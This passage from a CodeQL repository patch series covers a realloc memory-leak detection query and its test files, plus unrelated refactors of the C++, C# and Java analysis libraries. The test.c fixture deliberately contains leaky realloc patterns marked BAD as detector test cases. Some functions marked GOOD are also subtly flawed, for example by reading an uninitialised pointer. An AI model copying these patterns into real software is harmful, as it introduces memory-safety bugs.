and + fc.getTarget().hasName("exit") and + (ifc.getThen().getAChild*() = fc or ifc.getElse().getAChild*() = fc) + ) + ) + } + + predicate isExistsAssertWithArgumentCall() { + exists(FunctionCall fc, Variable v, VariableAccess va1, VariableAccess va2 | + fc.getTarget().hasName("assert") and + this.getEnclosingFunction() = fc.getEnclosingFunction() and + fc.getLocation().getStartLine() > this.getArgument(0).getLocation().getEndLine() and + va2 = this.getArgument(0) and + va1 = v.getAnAccess() and + va2 = v.getAnAccess() + ) + } +} + +from ReallocCallLeak rcl +where + not rcl.isExistsIfWithExitCall() and + not rcl.isExistsAssertWithArgumentCall() +select rcl, "possible loss of original pointer on unsuccessful call realloc" From 0c7381a3b0decb49fe5f3e428a574595973d15fd Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Sat, 26 Dec 2020 20:45:11 +0300 Subject: [PATCH 0390/1241] Add files via upload --- .../MemoryLeakOnFailedCallToRealloc.expected | 3 + .../MemoryLeakOnFailedCallToRealloc.qlref | 1 + .../Security/CWE/CWE-401/semmle/tests/test.c | 108 ++++++++++++++++++ 3 files changed, 112 insertions(+) create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.qlref create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected new file mode 100644 index 00000000000..9a0e9e36781 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected @@ -0,0 +1,3 @@ +| test.c:10:29:10:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | +| test.c:39:29:39:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | +| test.c:83:29:83:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.qlref new file mode 100644 index 00000000000..e80e86cbdcc --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql \ No newline at end of file diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c new file mode 100644 index 00000000000..116934338c0 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c @@ -0,0 +1,108 @@ +#define size_t int +#define NULL ((void*)0) + + +unsigned char * badResize0(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + return buffer; +} + +unsigned char * goodResize0(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: this way we will exclude possible memory leak + unsigned char * tmp; + if (currentSize < newSize) + { + tmp = (unsigned char *)realloc(buffer, newSize); + } + if (tmp == NULL) + { + free(buffer); + return NULL; + } + else + buffer = tmp; + return buffer; +} +unsigned char * badResize1(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + if(!buffer) + exit(0); + // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + return buffer; +} + +unsigned char * noBadResize1(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + if(!buffer) + exit(0); + return buffer; +} +unsigned char * noBadResize1e(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + if(buffer) + return buffer; + else + exit(0); +} +unsigned char * noBadResize1o(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + if(buffer = (unsigned char *)realloc(buffer, newSize)) + exit(0); + } + return buffer; +} +unsigned char * badResize2(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + assert(buffer!=0); + // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + return buffer; +} + +unsigned char * noBadResize2(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + assert(buffer!=0); + } + return buffer; +} + +unsigned char * noBadResize2e(unsigned char * buffer,size_t currentSize,size_t newSize) +{ + // GOOD: program to end + if (currentSize < newSize) + { + buffer = (unsigned char *)realloc(buffer, newSize); + } + assert(buffer!=0); + return buffer; +} \ No newline at end of file From 380d15eabe83ff5d3744fea976f2420bd2a395df Mon Sep 17 00:00:00 2001 From: neal1991 <neal1991@sina.com> Date: Mon, 28 Dec 2020 10:28:50 +0800 Subject: [PATCH 0391/1241] fix for the dead link, #4885 --- docs/codeql/codeql-cli/query-reference-files.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/codeql-cli/query-reference-files.rst b/docs/codeql/codeql-cli/query-reference-files.rst index 5c629723548..f148405e557 100644 --- a/docs/codeql/codeql-cli/query-reference-files.rst +++ b/docs/codeql/codeql-cli/query-reference-files.rst @@ -44,4 +44,4 @@ to the ``codeql-javascript`` QL pack:: AngularJS/DeadAngularJSEventListener.ql -For another example, see `Testing custom queries <test-queries.html#example>`__. +For another example, see `Testing custom queries <testing-custom-queries>`__. From 454605b7b1ce6fef80791fdac265cb61bef7e7ff Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 30 Dec 2020 10:27:17 +0100 Subject: [PATCH 0392/1241] C++: Fix join order in getAnOverload. --- cpp/ql/src/semmle/code/cpp/Function.qll | 41 +++++++++++++++++++------ 1 file changed, 31 insertions(+), 10 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/Function.qll b/cpp/ql/src/semmle/code/cpp/Function.qll index 8e27dddae83..203a343ad86 100644 --- a/cpp/ql/src/semmle/code/cpp/Function.qll +++ b/cpp/ql/src/semmle/code/cpp/Function.qll @@ -393,18 +393,23 @@ class Function extends Declaration, ControlFlowNode, AccessHolder, @function { /** Gets a function that overloads this one. */ Function getAnOverload() { - result.getName() = getName() and - result.getNamespace() = getNamespace() and - result != this and - // If this function is declared in a class, only consider other - // functions from the same class. Conversely, if this function is not - // declared in a class, only consider other functions not declared in a - // class. ( - if exists(getDeclaringType()) - then result.getDeclaringType() = getDeclaringType() - else not exists(result.getDeclaringType()) + // If this function is declared in a class, only consider other + // functions from the same class. + exists(string name, Namespace namespace, Class declaringType | + candGetAnOverloadMember(name, namespace, declaringType, this) and + candGetAnOverloadMember(name, namespace, declaringType, result) + ) + or + // Conversely, if this function is not + // declared in a class, only consider other functions not declared in a + // class. + exists(string name, Namespace namespace | + candGetAnOverloadNonMember(name, namespace, this) and + candGetAnOverloadNonMember(name, namespace, result) + ) ) and + result != this and // Instantiations and specializations don't participate in overload // resolution. not ( @@ -462,6 +467,22 @@ class Function extends Declaration, ControlFlowNode, AccessHolder, @function { override AccessHolder getEnclosingAccessHolder() { result = this.getDeclaringType() } } +pragma[noinline] +private predicate candGetAnOverloadMember( + string name, Namespace namespace, Class declaringType, Function f +) { + f.getName() = name and + f.getNamespace() = namespace and + f.getDeclaringType() = declaringType +} + +pragma[noinline] +private predicate candGetAnOverloadNonMember(string name, Namespace namespace, Function f) { + f.getName() = name and + f.getNamespace() = namespace and + not exists(f.getDeclaringType()) +} + /** * A particular declaration or definition of a C/C++ function. For example the * declaration and definition of `MyFunction` in the following code are each a From 258d04178f90b48153c1119aa55a86544cbea54c Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 30 Dec 2020 13:39:24 +0100 Subject: [PATCH 0393/1241] C++: Replace SkippableInstruction with local flow steps. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 21 +----- .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 71 ++++++------------- .../dataflow/fields/ir-path-flow.expected | 6 +- 3 files changed, 28 insertions(+), 70 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index 516cd663288..39672fe8e58 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -346,24 +346,6 @@ private class ArrayToPointerConvertInstruction extends ConvertInstruction { } } -/** - * These two predicates look like copy-paste from the two predicates with the same name in DataFlowUtil, - * but crucially they only skip past `CopyValueInstruction`s. This is because we use a special case of - * a `ConvertInstruction` to detect some read steps from arrays that undergoes array-to-pointer - * conversion. - */ -private Instruction skipOneCopyValueInstructionRec(CopyValueInstruction copy) { - copy.getUnary() = result and not result instanceof CopyValueInstruction - or - result = skipOneCopyValueInstructionRec(copy.getUnary()) -} - -private Instruction skipCopyValueInstructions(Operand op) { - not result instanceof CopyValueInstruction and result = op.getDef() - or - result = skipOneCopyValueInstructionRec(op.getDef()) -} - private class InexactLoadOperand extends LoadOperand { InexactLoadOperand() { this.isDefinitionInexact() } } @@ -375,7 +357,8 @@ private predicate arrayReadStep(Node node1, ArrayContent a, Node node2) { node1.asInstruction() = operand.getAnyDef() and not node1.asInstruction().isResultConflated() and operand = node2.asOperand() and - address = skipCopyValueInstructions(operand.getAddressOperand()) and + instructionOperandLocalFlowStep+(instructionNode(address), + operandNode(operand.getAddressOperand())) and ( address instanceof LoadInstruction or address instanceof ArrayToPointerConvertInstruction or diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 55ca891ab29..5ab582dc6d8 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -185,54 +185,15 @@ class OperandNode extends Node, TOperandNode { override string toString() { result = this.getOperand().toString() } } -/** An abstract class that defines conversion-like instructions. */ -abstract private class SkippableInstruction extends Instruction { - abstract Instruction getSourceInstruction(); -} - -/** - * Gets the instruction that is propaged through a non-empty sequence of conversion-like instructions. - */ -private Instruction skipSkippableInstructionsRec(SkippableInstruction skip) { - result = skip.getSourceInstruction() and not result instanceof SkippableInstruction - or - result = skipSkippableInstructionsRec(skip.getSourceInstruction()) -} - -/** - * Gets the instruction that is propagated through a (possibly empty) sequence of conversion-like - * instructions. - */ -private Instruction skipSkippableInstructions(Instruction instr) { - result = instr and not result instanceof SkippableInstruction - or - result = skipSkippableInstructionsRec(instr) -} - -private class SkippableCopyValueInstruction extends SkippableInstruction, CopyValueInstruction { - override Instruction getSourceInstruction() { result = this.getSourceValue() } -} - -private class SkippableConvertInstruction extends SkippableInstruction, ConvertInstruction { - override Instruction getSourceInstruction() { result = this.getUnary() } -} - -private class SkippableCheckedConvertInstruction extends SkippableInstruction, - CheckedConvertOrNullInstruction { - override Instruction getSourceInstruction() { result = this.getUnary() } -} - -private class SkippableInheritanceConversionInstruction extends SkippableInstruction, - InheritanceConversionInstruction { - override Instruction getSourceInstruction() { result = this.getUnary() } -} - /** * INTERNAL: do not use. Gets the `FieldNode` corresponding to `instr`, if * `instr` is an instruction that propagates an address of a `FieldAddressInstruction`. */ FieldNode getFieldNodeForFieldInstruction(Instruction instr) { - result.getFieldInstruction() = skipSkippableInstructions(instr) + result.getFieldInstruction() = + any(FieldAddressInstruction fai | + instructionOperandLocalFlowStep*(instructionNode(fai), instructionNode(instr)) + ) } /** @@ -651,6 +612,11 @@ class VariableNode extends Node, TVariableNode { */ InstructionNode instructionNode(Instruction instr) { result.getInstruction() = instr } +/** + * Gets the node corresponding to `operand`. + */ +OperandNode operandNode(Operand operand) { result.getOperand() = operand } + /** * DEPRECATED: use `definitionByReferenceNodeFromArgument` instead. * @@ -768,6 +734,19 @@ private predicate flowIntoReadNode(Node nodeFrom, FieldNode nodeTo) { ) } +/** + * INTERNAL: do not use. + * Holds if `nodeFrom` is an operand and `nodeTo` is an instruction node that uses this operand, or + * if `nodeFrom` is an instruction and `nodeTo` is an operand that refers to this instruction. + */ +predicate instructionOperandLocalFlowStep(Node nodeFrom, Node nodeTo) { + // Operand -> Instruction flow + simpleInstructionLocalFlowStep(nodeFrom.asOperand(), nodeTo.asInstruction()) + or + // Instruction -> Operand flow + simpleOperandLocalFlowStep(nodeFrom.asInstruction(), nodeTo.asOperand()) +} + /** * INTERNAL: do not use. * @@ -776,11 +755,7 @@ private predicate flowIntoReadNode(Node nodeFrom, FieldNode nodeTo) { */ cached predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo) { - // Operand -> Instruction flow - simpleInstructionLocalFlowStep(nodeFrom.asOperand(), nodeTo.asInstruction()) - or - // Instruction -> Operand flow - simpleOperandLocalFlowStep(nodeFrom.asInstruction(), nodeTo.asOperand()) + instructionOperandLocalFlowStep(nodeFrom, nodeTo) or flowIntoReadNode(nodeFrom, nodeTo) or diff --git a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected index e787b9a5f0e..ee43cd98302 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected @@ -58,9 +58,9 @@ edges | aliasing.cpp:79:11:79:20 | call to user_input | aliasing.cpp:80:12:80:13 | m1 | | aliasing.cpp:86:10:86:19 | call to user_input | aliasing.cpp:87:12:87:13 | m1 | | aliasing.cpp:92:12:92:21 | call to user_input | aliasing.cpp:93:12:93:13 | m1 | -| aliasing.cpp:98:5:98:6 | m1 [post update] [m1] | aliasing.cpp:100:14:100:14 | Store [m1] | +| aliasing.cpp:98:5:98:6 | m1 [post update] [m1] | aliasing.cpp:101:21:101:22 | m1 [m1] | | aliasing.cpp:98:10:98:19 | call to user_input | aliasing.cpp:98:5:98:6 | m1 [post update] [m1] | -| aliasing.cpp:100:14:100:14 | Store [m1] | aliasing.cpp:102:8:102:10 | * ... | +| aliasing.cpp:101:21:101:22 | m1 [m1] | aliasing.cpp:102:8:102:10 | * ... | | aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:121:15:121:16 | taint_a_ptr output argument [array content] | | aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:126:15:126:20 | taint_a_ptr output argument [array content] | | aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:131:15:131:16 | taint_a_ptr output argument [array content] | @@ -373,7 +373,7 @@ nodes | aliasing.cpp:93:12:93:13 | m1 | semmle.label | m1 | | aliasing.cpp:98:5:98:6 | m1 [post update] [m1] | semmle.label | m1 [post update] [m1] | | aliasing.cpp:98:10:98:19 | call to user_input | semmle.label | call to user_input | -| aliasing.cpp:100:14:100:14 | Store [m1] | semmle.label | Store [m1] | +| aliasing.cpp:101:21:101:22 | m1 [m1] | semmle.label | m1 [m1] | | aliasing.cpp:102:8:102:10 | * ... | semmle.label | * ... | | aliasing.cpp:106:3:106:20 | Chi [array content] | semmle.label | Chi [array content] | | aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | semmle.label | ChiTotal [post update] [array content] | From 54950c2f42ca70e2b59ce3ae4fed266c87d3a674 Mon Sep 17 00:00:00 2001 From: Jonathan Leitschuh <Jonathan.Leitschuh@gmail.com> Date: Fri, 1 Jan 2021 20:07:45 -0500 Subject: [PATCH 0394/1241] Add MethodAccessSystemGetProperty predicate --- java/ql/src/semmle/code/java/JDK.qll | 15 +++++++++++++ java/ql/src/semmle/code/java/PrintAst.ql | 3 ++- .../JDK/SystemGetPropertyCall.expected | 3 +++ .../JDK/SystemGetPropertyCall.ql | 10 +++++++++ .../JDK/jdk/SystemGetPropertyCall.java | 21 +++++++++++++++++++ 5 files changed, 51 insertions(+), 1 deletion(-) create mode 100644 java/ql/test/library-tests/JDK/SystemGetPropertyCall.expected create mode 100644 java/ql/test/library-tests/JDK/SystemGetPropertyCall.ql create mode 100644 java/ql/test/library-tests/JDK/jdk/SystemGetPropertyCall.java diff --git a/java/ql/src/semmle/code/java/JDK.qll b/java/ql/src/semmle/code/java/JDK.qll index d9a1a15e5d3..78a326bb9b4 100644 --- a/java/ql/src/semmle/code/java/JDK.qll +++ b/java/ql/src/semmle/code/java/JDK.qll @@ -211,6 +211,21 @@ class MethodSystemGetProperty extends Method { } } +/** + * Any method access to a method named `getProperty` on class `java.lang.System`. + */ +class MethodAccessSystemGetProperty extends MethodAccess { + MethodAccessSystemGetProperty() { getMethod() instanceof MethodSystemGetProperty } + + /** + * Holds true if this is a compile-time constant call for the specified `propertyName`. + * Eg. `System.getProperty("user.dir")`. + */ + predicate hasCompileTimeConstantGetPropertyName(string propertyName) { + this.getArgument(0).(CompileTimeConstantExpr).getStringValue() = propertyName + } +} + /** * Any method named `exit` on class `java.lang.Runtime` or `java.lang.System`. */ diff --git a/java/ql/src/semmle/code/java/PrintAst.ql b/java/ql/src/semmle/code/java/PrintAst.ql index 3931a9670e6..27e630d6936 100644 --- a/java/ql/src/semmle/code/java/PrintAst.ql +++ b/java/ql/src/semmle/code/java/PrintAst.ql @@ -16,5 +16,6 @@ class PrintAstConfigurationOverride extends PrintAstConfiguration { /** * TWEAK THIS PREDICATE AS NEEDED. */ - override predicate shouldPrint(Element e, Location l) { super.shouldPrint(e, l) } + override predicate shouldPrint(Element e, Location l) { super.shouldPrint(e, l) and + not l.getFile().getBaseName().matches("SystemGetPropertyCall.java") } } diff --git a/java/ql/test/library-tests/JDK/SystemGetPropertyCall.expected b/java/ql/test/library-tests/JDK/SystemGetPropertyCall.expected new file mode 100644 index 00000000000..e96a74fe1a6 --- /dev/null +++ b/java/ql/test/library-tests/JDK/SystemGetPropertyCall.expected @@ -0,0 +1,3 @@ +| jdk/SystemGetPropertyCall.java:7:9:7:38 | getProperty(...) | +| jdk/SystemGetPropertyCall.java:11:9:11:46 | getProperty(...) | +| jdk/SystemGetPropertyCall.java:15:9:15:45 | getProperty(...) | diff --git a/java/ql/test/library-tests/JDK/SystemGetPropertyCall.ql b/java/ql/test/library-tests/JDK/SystemGetPropertyCall.ql new file mode 100644 index 00000000000..2dd2979ad41 --- /dev/null +++ b/java/ql/test/library-tests/JDK/SystemGetPropertyCall.ql @@ -0,0 +1,10 @@ +/** + * @name SystemCall + * @description Test the definition of System Get Property + */ + +import default + +from MethodAccessSystemGetProperty ma +where ma.hasCompileTimeConstantGetPropertyName("user.dir") +select ma diff --git a/java/ql/test/library-tests/JDK/jdk/SystemGetPropertyCall.java b/java/ql/test/library-tests/JDK/jdk/SystemGetPropertyCall.java new file mode 100644 index 00000000000..750f1e8b83c --- /dev/null +++ b/java/ql/test/library-tests/JDK/jdk/SystemGetPropertyCall.java @@ -0,0 +1,21 @@ +package jdk; + +public class SystemGetPropertyCall { + private static final String USER_DIR_PROPERTY = "user.dir"; + + void a() { + System.getProperty("user.dir"); + } + + void b() { + System.getProperty("user.dir", "HOME"); + } + + void c() { + System.getProperty(USER_DIR_PROPERTY); + } + + void d() { + System.getProperty("random.property"); + } +} From 134982c5a9c37ca0d5f86463fe33b3dab8bae970 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Mon, 4 Jan 2021 09:03:17 +0100 Subject: [PATCH 0395/1241] C++: Respond to review comments. --- cpp/ql/src/semmle/code/cpp/Function.qll | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/Function.qll b/cpp/ql/src/semmle/code/cpp/Function.qll index 203a343ad86..560ddfbd4c8 100644 --- a/cpp/ql/src/semmle/code/cpp/Function.qll +++ b/cpp/ql/src/semmle/code/cpp/Function.qll @@ -391,14 +391,19 @@ class Function extends Declaration, ControlFlowNode, AccessHolder, @function { /** Holds if this function has a `noexcept` exception specification. */ predicate isNoExcept() { getADeclarationEntry().isNoExcept() } - /** Gets a function that overloads this one. */ + /** + * Gets a function that overloads this one. + * + * Note: if _overrides_ are wanted rather than _overloads_ then + * `MemberFunction::getAnOverridingFunction` should be used instead. + */ Function getAnOverload() { ( // If this function is declared in a class, only consider other // functions from the same class. - exists(string name, Namespace namespace, Class declaringType | - candGetAnOverloadMember(name, namespace, declaringType, this) and - candGetAnOverloadMember(name, namespace, declaringType, result) + exists(string name, Class declaringType | + candGetAnOverloadMember(name, declaringType, this) and + candGetAnOverloadMember(name, declaringType, result) ) or // Conversely, if this function is not @@ -468,11 +473,8 @@ class Function extends Declaration, ControlFlowNode, AccessHolder, @function { } pragma[noinline] -private predicate candGetAnOverloadMember( - string name, Namespace namespace, Class declaringType, Function f -) { +private predicate candGetAnOverloadMember(string name, Class declaringType, Function f) { f.getName() = name and - f.getNamespace() = namespace and f.getDeclaringType() = declaringType } From c1f822c83f902feac82c1f6e06e27177cadfa801 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Mon, 21 Dec 2020 19:46:20 +0100 Subject: [PATCH 0396/1241] C#: Port SSA performance improvements from Java --- .../src/semmle/code/csharp/dataflow/SSA.qll | 339 +++++++----------- 1 file changed, 132 insertions(+), 207 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll index 713b8fcb3b5..487a32e6a83 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll @@ -1162,37 +1162,6 @@ module Ssa { not intraInstanceCallEdge(c1, c2) } - /** - * Holds if a call to `x.c` can change the value of `x.fp`. The actual - * update occurs in `setter`. - */ - private predicate setsOwnFieldOrPropTransitive( - InstanceCallable c, FieldOrProp fp, InstanceCallable setter - ) { - setsOwnFieldOrProp(setter, fp) and - // `intraInstanceCallEdge*(c, setter)` applies `fastTC` and therefore misses - // important magic optimization; consequently apply magic manually by explicit - // recursion - c = setter - or - exists(InstanceCallable mid | setsOwnFieldOrPropTransitive(mid, fp, setter) | - intraInstanceCallEdge(c, mid) - ) - } - - /** - * Holds if a call to `c` can change the value of `fp` on some instance. - * The actual update occurs in `setter`. - */ - private predicate generalSetter(Callable c, FieldOrProp fp, Callable setter) { - exists(InstanceCallable ownsetter | - setsOwnFieldOrPropTransitive(ownsetter, fp, setter) and - crossInstanceCallEdge(c, ownsetter) - ) - or - setsOtherFieldOrProp(c, fp) and c = setter - } - pragma[noinline] predicate callAt(BasicBlock bb, int i, Call call) { bb.getNode(i) = call.getAControlFlowNode() and @@ -1211,103 +1180,89 @@ module Ssa { not ref(bb, i, fp, _) } - /** - * Holds if `c` is a relevant part of the call graph for - * `updatesNamedFieldOrPropPart1` based on following edges in forward direction. - */ - private predicate pruneFromLeft(Callable c) { - exists(Call call, TrackedFieldOrProp f | - updateCandidate(_, _, f, call) and - c = getARuntimeTarget(call, _) and - generalSetter(_, f.getAssignable(), _) - ) - or - exists(Callable mid | pruneFromLeft(mid) | callEdge(mid, c)) - } - - /** - * Holds if `c` is a relevant part of the call graph for - * `updatesNamedFieldOrPropPart1` based on following edges in backward direction. - */ - private predicate pruneFromRight(Callable c) { - relevantDefinition(c, _, _) and - pruneFromLeft(c) - or - exists(Callable mid | pruneFromRight(mid) | - callEdge(c, mid) and - pruneFromLeft(c) - ) - } - - private class PrunedCallable extends Callable { - PrunedCallable() { pruneFromRight(this) } - } - - private predicate callEdgePruned(PrunedCallable c1, PrunedCallable c2) { callEdge(c1, c2) } - - private predicate callEdgePrunedPlus(PrunedCallable c1, PrunedCallable c2) = - fastTC(callEdgePruned/2)(c1, c2) - - pragma[noinline] - private predicate updatesNamedFieldOrPropPart1Prefix0( - Call call, TrackedFieldOrProp tfp, Callable c1, FieldOrProp fp + private predicate source( + Call call, TrackedFieldOrProp tfp, FieldOrProp fp, Callable c, boolean fresh ) { updateCandidate(_, _, tfp, call) and + c = getARuntimeTarget(call, _) and fp = tfp.getAssignable() and - generalSetter(_, fp, _) and - c1 = getARuntimeTarget(call, _) - } - - pragma[noinline] - private predicate relevantDefinitionProj(PrunedCallable c, FieldOrProp fp) { - relevantDefinition(c, fp, _) - } - - pragma[noopt] - predicate updatesNamedFieldOrPropPart1Prefix( - Call call, TrackedFieldOrProp tfp, Callable c1, Callable setter, FieldOrProp fp - ) { - updatesNamedFieldOrPropPart1Prefix0(call, tfp, c1, fp) and - relevantDefinitionProj(setter, fp) and - (c1 = setter or callEdgePrunedPlus(c1, setter)) + if c instanceof Constructor then fresh = true else fresh = false } /** - * Holds if `call` may change the value of `tfp` on some instance, which may or - * may not alias with `this`. The actual update occurs in `setter`. + * A callable in a potential call-chain between a source that cares about the + * value of some field `f` and a sink that may overwrite `f`. The Boolean + * `fresh` indicates whether the instance `this` in `c` has been freshly + * allocated along the call-chain. */ - pragma[noopt] - private predicate updatesNamedFieldOrPropPart1( - Call call, TrackedFieldOrProp tfp, Callable setter - ) { - exists(Callable c1, Callable c2, FieldOrProp fp | - updatesNamedFieldOrPropPart1Prefix(call, tfp, c1, setter, fp) and - generalSetter(c2, fp, setter) - | - c1 = c2 or callEdgePrunedPlus(c1, c2) + private newtype TCallableNode = + MkCallableNode(Callable c, boolean fresh) { source(_, _, _, c, fresh) or edge(_, c, fresh) } + + private predicate edge(TCallableNode n, Callable c2, boolean f2) { + exists(Callable c1, boolean f1 | n = MkCallableNode(c1, f1) | + intraInstanceCallEdge(c1, c2) and f2 = f1 + or + crossInstanceCallEdge(c1, c2) and + if c2 instanceof Constructor then f2 = true else f2 = false ) } - /** - * Holds if `call` may change the value of `tfp` on `this`. The actual update occurs - * in `setter`. - */ - private predicate updatesNamedFieldOrPropPart2( - Call call, TrackedFieldOrProp tfp, Callable setter + private predicate edge(TCallableNode n1, TCallableNode n2) { + exists(Callable c2, boolean f2 | + edge(n1, c2, f2) and + n2 = MkCallableNode(c2, f2) + ) + } + + pragma[noinline] + private predicate source( + Call call, FieldOrPropSourceVariable fps, FieldOrProp fp, TCallableNode n ) { - updateCandidate(_, _, tfp, call) and - setsOwnFieldOrPropTransitive(getARuntimeTarget(call, _), tfp.getAssignable(), setter) + exists(Callable c, boolean fresh | + source(call, fps, fp, c, fresh) and + n = MkCallableNode(c, fresh) + ) + } + + private predicate sink(Callable c, FieldOrProp fp, TCallableNode n) { + relevantDefinition(c, fp, _) and + ( + setsOwnFieldOrProp(c, fp) and n = MkCallableNode(c, false) + or + setsOtherFieldOrProp(c, fp) and n = MkCallableNode(c, _) + ) + } + + private predicate prunedNode(TCallableNode n) { + sink(_, _, n) + or + exists(TCallableNode mid | edge(n, mid) and prunedNode(mid)) + } + + private predicate prunedEdge(TCallableNode n1, TCallableNode n2) { + prunedNode(n1) and + prunedNode(n2) and + edge(n1, n2) + } + + private predicate edgePlus(TCallableNode c1, TCallableNode c2) = fastTC(prunedEdge/2)(c1, c2) + + pragma[noopt] + private predicate updatesNamedFieldOrProp_( + FieldOrPropSourceVariable fps, Call call, Callable setter + ) { + exists(TCallableNode src, TCallableNode sink, FieldOrProp fp | + source(call, fps, fp, src) and + sink(setter, fp, sink) and + (src = sink or edgePlus(src, sink)) + ) } private predicate updatesNamedFieldOrPropPossiblyLive( BasicBlock bb, int i, TrackedFieldOrProp fp, Call call, Callable setter ) { updateCandidate(bb, i, fp, call) and - ( - updatesNamedFieldOrPropPart1(call, fp, setter) - or - updatesNamedFieldOrPropPart2(call, fp, setter) - ) + updatesNamedFieldOrProp_(fp, call, setter) } private int firstRefAfterCall(BasicBlock bb, int i, TrackedFieldOrProp fp) { @@ -1457,58 +1412,44 @@ module Ssa { ) } + private predicate source( + Call call, CapturedWrittenLocalScopeSourceVariable v, + CapturedWrittenLocalScopeVariable captured, Callable c, boolean libraryDelegateCall + ) { + updateCandidate(_, _, v, call) and + c = getARuntimeTarget(call, libraryDelegateCall) and + captured = v.getAssignable() and + relevantDefinition(_, captured, _) + } + /** * Holds if `c` is a relevant part of the call graph for * `updatesCapturedVariable` based on following edges in forward direction. */ - private predicate pruneFromLeft(Callable c) { - exists(Call call, CapturedWrittenLocalScopeSourceVariable v | - updateCandidate(_, _, v, call) and - c = getARuntimeTarget(call, _) and - relevantDefinition(_, v.getAssignable(), _) - ) + private predicate reachbleFromSource(Callable c) { + source(_, _, _, c, _) or - exists(Callable mid | pruneFromLeft(mid) | callEdge(mid, c)) + exists(Callable mid | reachbleFromSource(mid) | callEdge(mid, c)) } - /** - * Holds if `c` is a relevant part of the call graph for - * `updatesCapturedVariable` based on following edges in backward direction. - */ - private predicate pruneFromRight(Callable c) { - relevantDefinition(c, _, _) and - 